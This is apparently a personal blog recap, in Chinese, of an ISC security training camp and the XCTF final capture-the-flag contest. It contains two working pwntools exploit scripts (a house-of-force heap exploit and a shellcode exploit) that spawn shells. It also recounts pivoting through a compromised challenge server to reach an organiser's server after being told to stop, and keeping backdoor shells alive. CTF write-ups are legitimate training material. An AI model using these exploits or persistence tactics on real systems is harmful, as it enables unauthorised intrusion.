XCTF-Final &isc安全训练营 参加总结

First Day

第一天去了isc安全训练营,

早上听了浏览器内容,主要内容是微软Edge和谷歌Chrome两个浏览器,Chrome是大宝师傅讲的内容。

比较有印象的的是Vulcan Team 的holynop讲的Edge浏览器的Chakra脚本引擎
了解了类型混淆的漏洞,以及如何去利用windgb去调试浏览器。
完成rce

(准备自己动手调试下这个漏洞!!! 应该也会写个博客吧或者拿去投稿???)

下午呢,讲的是windows内核漏洞

手头有poc 也是应该准备复现的漏洞!

Second Day

这一天正式参加了XCTF决赛了。
第一天是Ai解题,

我们们的策略是,不管是什么题目,第一步发送超级长的字符串,能crash的先让他crash,
所以第一天刚开始的时候,我们就get到了六个题目。
其中基本都是栈溢出的题目。

由于是Ai赛制是Ai先crash题目之后我们才能拿到bin文件(正常是这样,但是。。。HHH),

sof

栈溢出题目很简单

printf

有两个漏洞,一个是fmt,一个是栈溢出,fmt的pritnf两个参数我们都可以控制,就是由于这个原因,我们刚开始就一直在gang 格式化传这个点,而忽略了栈溢出。。

最后还是用栈溢出解决了题目

packegt

一个堆溢出漏洞,利用方式是house of force

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# -*- coding: utf-8 -*-
#!/usr/bin/env python2
from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'

LOCAL = False

#env = {'LD_PRELOAD':'libc.so.6'}

if LOCAL:
p = process('./packet')#,env=env)
else:
p = remote('10.0.14.1',9999)

puts_got = 0x0000000000601018
shellcode = "\x90"*8
#shellcode +="\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
shellcode += asm(shellcraft.amd64.linux.sh())

def ope(size,string=""):
pl = "td"
pl += str(size)
pl += string
p.send(pl)

def main():
'''
breakpoint = [0x40096d]
bp = "".join(["b *%d\n"%b for b in breakpoint])
gdb.attach(proc.pidof(p)[0],bp)
'''
p.readline()
p.sendline("gpRGF622u64jnH6rlgoLgpqGQCjZL42c")
ope(0,"\xff"*0x25 + shellcode)
p.recvuntil("0x")
rev = p.recvuntil(":")
sc_addr = int(rev[:-1],16)
log.info("sc:{0}".format(hex(sc_addr)))
#heap_addr = int(ope(9,"\xff" * 0x100),16)
#log.info("heap:{0}".format(heap_addr))
size = (puts_got - sc_addr - 0x20)

ope(size)
ope(0,"\x00"*5+ p64(0) + p64(sc_addr+0x30))
p.interactive()

if __name__ == '__main__':
main()

到了下午
我们到Ai一直没有半点动静了,一直没有新题出来,导致我们可以选择到题目太少,一直僵持在只有六题到情况下。

但是这个时候我们到burnegg蛋总在早上到时候已经把Ai到题目全部脱了下来了,一共20个一个不少,于是我换了一个策略,决定人工审题,然后上去。。。那个啥。。。

于是后面我们又get了 sof2 和 pointguard两个题到crash
但是这个时候主办方来了,告诉我们上去到次数太多了,不允许再让我们上去了。。于是我们准备让蛋总来以pwn题目的服务器最为跳板,然后去访问Ai服务器,这次我们自己手动crash

然后。。。蛋总以我们已经Pwn的题目的服务器的一个稳定shell去访问了Ai服务器,
最后第一天比赛结束时候,我们到了第四到名次

下午解出来到题目

sof2

栈溢出

mp3info

以及吐槽一下错过了一个上分到机会,pointguard特么太简单了,应该先写exp的,然后再去crash其他题目

Third Day

第三天,攻防赛

四个题目,以第前一天的pointguard以及apatch和两个未放出的新题,我们可爱的蛋总同学,由于已经逃了两天课了,想到今天没有web就跑回学校了….于是我们就成了三人组 铁人三项参赛者~

pointguard

任意地址写以及格式化传漏洞
这个题目规则不允许我们进行patch 只能通过backlist进行拒绝访问的地址,导致这个题目。。。基本没有人防成功

我们当天完成了三个利用 1.system 2.rop. 3.one gadget

apatch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context.word_size = 64
context.os = "linux"
context.arch = "amd64"
context.endian = "little"
elf = ELF("apatch")
pro = process("./apatch")
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

gdb.attach(pro)

shellcode = shellcraft.amd64.linux.sh()
shellcode = asm(shellcode)
payload = p32(0xdeadfafa) + p8(0)
payload += p32(0x3eeb) + p32(1) + p32(len(shellcode))
payload += shellcode
pause()
pro.write(payload)
d = pro.read(1)
assert ord(d) == 0xcc
tmp = pro.read(4)
print tmp
index = u32(tmp)
print hex(index)

payload = p32(0xdeadfafa) + p8((0x2030a0 - 0x203020)/8)
pause()
pro.write(payload)
pro.interactive()

刚开始的分工是,muhe写black list的patch,通过流量审,添加到blacklist中,然后flier进行新exp,我进行运维,以及后门的添加。。。

然而,流量审查中出现了应该whireshark打不开流量包的尴尬。。。

以及后门添加不进去的尴尬。。。于是我们只能手动保持ssh的存在 维持权限,不会以至于对手patch文件后我们不能get flag了

。。。但是windows用多了。。。我不小心关了五个。。。/bin/sh剩三个。。。

运维的时候,,,我也出了一点尴尬,,,发现后门的时间太晚了。。。

所以,,,第二天我们全程是在防守,无暇去尝试流量重放以及去写新的exp去攻击对手

所以Good Game!